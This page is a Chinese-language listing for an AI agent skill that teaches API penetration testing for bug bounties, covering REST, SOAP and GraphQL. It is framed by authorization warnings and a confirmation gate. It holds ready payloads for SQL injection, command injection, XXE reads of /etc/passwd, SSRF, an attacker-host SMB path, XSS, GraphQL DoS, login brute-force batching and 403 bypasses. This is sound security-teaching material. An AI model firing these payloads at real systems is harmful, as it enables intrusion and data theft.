mcpField
A
api-fuzzing-bug-bounty

api-fuzzing-bug-bounty

github.com/sickn33安全48.7k667 次安装今天更新
代码仓库

关于 api-fuzzing-bug-bounty

api-fuzzing-bug-bounty 是用于获准安全评估和受控教学环境的 API 测试技能,面向漏洞赏金研究者与渗透测试人员。内容涵盖 REST、SOAP 和 GraphQL 的侦察与漏洞验证,并要求先确认书面授权和测试范围。

主要功能

  1. 01梳理 API 端点与类型
  2. 02覆盖认证、IDOR 与注入测试
  3. 03包含 GraphQL 专项检查
  4. 04强调授权门槛与受控测试
  5. 05记录漏洞验证与风险边界

适用场景

  1. 01在授权范围内评估 API 安全
  2. 02检查 GraphQL 模式与访问控制
  3. 03在实验环境演练漏洞验证

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/sickn33/agentic-awesome-skills --skill api-fuzzing-bug-bounty

安装后在 Claude Code 中输入/api-fuzzing-bug-bounty确认已加载。

详细介绍

⚠️ 仅限授权使用 此技能仅用于教育目的或经授权的安全评估。 使用此工具前,必须取得系统所有者的明确书面许可。 滥用此工具属于违法行为,严格禁止。

强制确认关卡 在运行任何会探测、利用、修改目标、在目标上建立持久性、从目标提取数据或尝试访问目标凭据的命令之前:

  1. 请用户说明确切的目标 URL、IP、账户或资源。
  2. 请用户确认已获得书面授权,并说明许可范围。
  3. 展示确切的命令,并解释其预期效果。
  4. 等待用户在当前对话中明确确认。

未经确认,请保持只读,并仅提供防御性指导。优先使用沙盒、一次性 VM 或受控实验室。

仅限授权使用:此技能仅可用于经授权的安全评估、防御性验证或受控的教育环境。

漏洞赏金 API 模糊测试

目的

介绍在漏洞赏金搜寻和渗透测试中测试 REST、SOAP 和 GraphQL API 的综合技术。涵盖漏洞发现、身份验证绕过、IDOR 利用以及 API 特有的攻击向量。

输入/前提条件

  • Burp Suite 或类似的代理工具
  • API 字典(SecLists、api_wordlist)
  • 了解 REST/GraphQL/SOAP 协议
  • 用于编写脚本的 Python
  • 目标 API 端点和文档(如有)

输出/交付物

  • 已识别的 API 漏洞
  • IDOR 利用证明
  • 身份验证绕过技术
  • SQL 注入点
  • 未经授权访问数据的记录

API 类型概述

类型协议数据格式结构
SOAPHTTPXMLHeader + Body
RESTHTTPJSON/XML/URL已定义的端点
GraphQLHTTP自定义查询单一端点

核心工作流

使用受控的测试账户/租户和只读金丝雀资源。在交战规则中明确规定请求速率、并发数、持续时间、写入/删除方法、SSRF 目标以及任何回调端点的范围。DoS/深度递归、凭据攻击和破坏性方法测试需要单独的明确批准;条件允许时,应在一次性实验室中进行。遇到速率限制或意外访问真实个人数据时立即停止;切勿通过轮换 IP 来规避限制。以下载荷只是待验证的假设,并不能证明存在漏洞,也不代表必须尝试所有技术。

步骤 1:API 侦察

识别 API 类型并枚举端点:

# Check for Swagger/OpenAPI documentation
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html

# Use Kiterunner for API discovery
kr scan https://target.com -w routes-large.kite

# Extract paths from Swagger
python3 json2paths.py swagger.json
步骤 2:身份验证测试
# Test different login paths
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login

# Check rate limiting on auth endpoints
# If no rate limit → brute force possible

# Test mobile vs web API separately
# Don't assume same security controls
步骤 3:IDOR 测试

不安全的直接对象引用是最常见的 API 漏洞:

# Basic IDOR
GET /api/users/1234 → GET /api/users/1235

# Even if ID is email-based, try numeric
/?user_id=111 instead of /[email protected]

# Test /me/orders vs /user/654321/orders

IDOR 绕过技术:

# Wrap ID in array
{"id":111} → {"id":[111]}

# JSON wrap
{"id":111} → {"id":{"id":111}}

# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>

# Wildcard injection
{"user_id":"*"}

# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}
步骤 4:注入测试

JSON 中的 SQL 注入:

{"id":"56456"}                    → OK
{"id":"56456 AND 1=1#"}           → OK  
{"id":"56456 AND 1=2#"}           → OK
{"id":"56456 AND 1=3#"}           → Observe response; an error alone proves nothing
{"id":"56456 AND sleep(15)#"}     → SLEEP 15 SEC

命令注入:

# Ruby on Rails
?url=Kernel#open → ?url=|ls

# Linux command injection
api.url.com/endpoint?name=file.txt;ls%20/

XXE 注入:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

通过 API 实施 SSRF:

<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>

.NET Path.Combine 漏洞:

# If .NET app uses Path.Combine(path_1, path_2)
# Test for path traversal
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png
步骤 5:方法测试
# Test all HTTP methods
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1

# Switch content type
Content-Type: application/json → application/xml

GraphQL 专项测试

内省查询

获取完整的后端架构:

{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}

URL 编码版本:

/graphql?query={__schema{types{name,kind,description,fields{name}}}}
GraphQL IDOR
# Try accessing other user IDs
query {
  user(id: "OTHER_USER_ID") {
    id  # Controlled canary record only; do not request real passwords/payment data
  }
}
GraphQL SQL/NoSQL 注入
mutation {
  login(input: {
    email: "test' or 1=1--"
    password: "password"
  }) {
    success
    jwt
  }
}
绕过速率限制(批处理)
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
GraphQL DoS(嵌套查询)
query {
  posts {
    comments {
      user {
        posts {
          comments {
            user {
              posts { ... }
            }
          }
        }
      }
    }
  }
}
GraphQL XSS
# XSS via GraphQL endpoint
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}

# URL-encoded XSS
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E
GraphQL 工具
工具用途
GraphCrawler架构发现
graphw00f指纹识别
clairvoyance架构重建
InQLBurp 扩展
GraphQLmap漏洞利用

端点绕过技术

收到 403/401 时,可尝试以下绕过方法:

# Original blocked request
/api/v1/users/sensitivedata → 403

# Bypass attempts
/api/v1/users/sensitivedata.json
/api/v1/users/sensitivedata?
/api/v1/users/sensitivedata/
/api/v1/users/sensitivedata??
/api/v1/users/sensitivedata%20
/api/v1/users/sensitivedata%09
/api/v1/users/sensitivedata#
/api/v1/users/sensitivedata&details
/api/v1/users/..;/sensitivedata

输出利用

PDF 导出攻击

<iframe src="file:///etc/passwd" height=1000 width=800>


<object data="http://127.0.0.1:8443"/>


<img src="http://127.0.0.1:445"/>


<img src="https://iplogger.com/yourcode.gif"/>
通过限制实施 DoS
# Normal request
/api/news?limit=100

# DoS attempt
/api/news?limit=9999999999

常见 API 漏洞检查清单

漏洞说明
API 暴露未受保护的端点公开暴露
缓存配置错误敏感数据被错误缓存
令牌暴露API 密钥/令牌出现在响应或 URL 中
JWT 弱点签名强度不足、未设置过期时间、算法混淆
IDOR / BOLA对象级授权失效
未记录的端点隐藏的管理/调试端点
不同版本旧版 API 存在安全漏洞
速率限制缺少速率限制或可绕过
竞态条件TOCTOU 漏洞
XXE 注入利用 XML 解析器
内容类型问题在 JSON/XML 之间切换
HTTP 方法篡改滥用 GET→DELETE/PUT

快速参考

漏洞测试载荷风险
IDOR更改 user_id 参数高
SQLi在 JSON 中使用 ' OR 1=1--严重
命令注入; ls /严重
XXE带 ENTITY 的 DOCTYPE高
SSRF在参数中使用内部 IP高
绕过速率限制批量请求中
方法篡改GET→DELETE高

工具参考

类别工具URL
API 模糊测试Fuzzapigithub.com/Fuzzapi/fuzzapi
API 模糊测试API-fuzzergithub.com/Fuzzapi/API-fuzzer
API 模糊测试Astragithub.com/flipkart-incubator/Astra
API 安全apicheckgithub.com/BBVA/apicheck
API 发现Kiterunnergithub.com/assetnote/kiterunner
API 发现openapi_security_scannergithub.com/ngalongc/openapi_security_scanner
API 工具包APIKitgithub.com/API-Security/APIKit
API 密钥API Guesserapi-guesser.netlify.app
GUIDGUID Guessergist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18
GraphQLInQLgithub.com/doyensec/inql
GraphQLGraphCrawlergithub.com/gsmith257-cyber/GraphCrawler
GraphQLgraphw00fgithub.com/dolevf/graphw00f
GraphQLclairvoyancegithub.com/nikitastupin/clairvoyance
GraphQLbatchqlgithub.com/assetnote/batchql
GraphQLgraphql-copgithub.com/dolevf/graphql-cop
字典列表SecListsgithub.com/danielmiessler/SecLists
Swagger 解析器Swagger-EZrhinosecuritylabs.github.io/Swagger-EZ
Swagger 路由swagroutesgithub.com/amalmurali47/swagroutes
API 思维导图MindAPIdsopas.github.io/MindAPI/play
JSON 路径json2pathsgithub.com/s0md3v/dump/tree/master/json2paths

限制

必须:

  • 分别测试移动端、Web 和开发者 API
  • 检查所有 API 版本(/v1、/v2、/v3)
  • 验证已认证和未认证的访问

不得:

  • 假设不同 API 版本采用相同的安全控制
  • 跳过对未记录端点的测试
  • 忽略速率限制检查

应该:

  • 添加 X-Requested-With: XMLHttpRequest 标头以模拟前端
  • 在 archive.org 上检查历史 API 端点
  • 对敏感操作测试竞态条件

示例

示例 1:IDOR 利用
# Original request (own data)
GET /api/v1/invoices/12345
Authorization: Bearer <token>

# Modified request (other user's data)
GET /api/v1/invoices/12346
Authorization: Bearer <token>

# Response reveals other user's invoice data
示例 2:GraphQL 内省
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name,fields{name}}}}"}'

故障排除

问题解决方案
API 未返回任何内容添加 X-Requested-With: XMLHttpRequest 标头
所有端点均返回 401先验证已授权的测试凭据/范围;不要假设 user_id 参数可以修复身份验证
GraphQL 内省已禁用使用 clairvoyance 重建架构
遇到速率限制停止/降低频率,保留响应并遵守获批的请求速率;不要绕过限制
找不到端点检查 Swagger、archive.org 和 JS 文件

何时使用

此技能适用于执行概述中描述的工作流或操作。

评论

支持 Markdown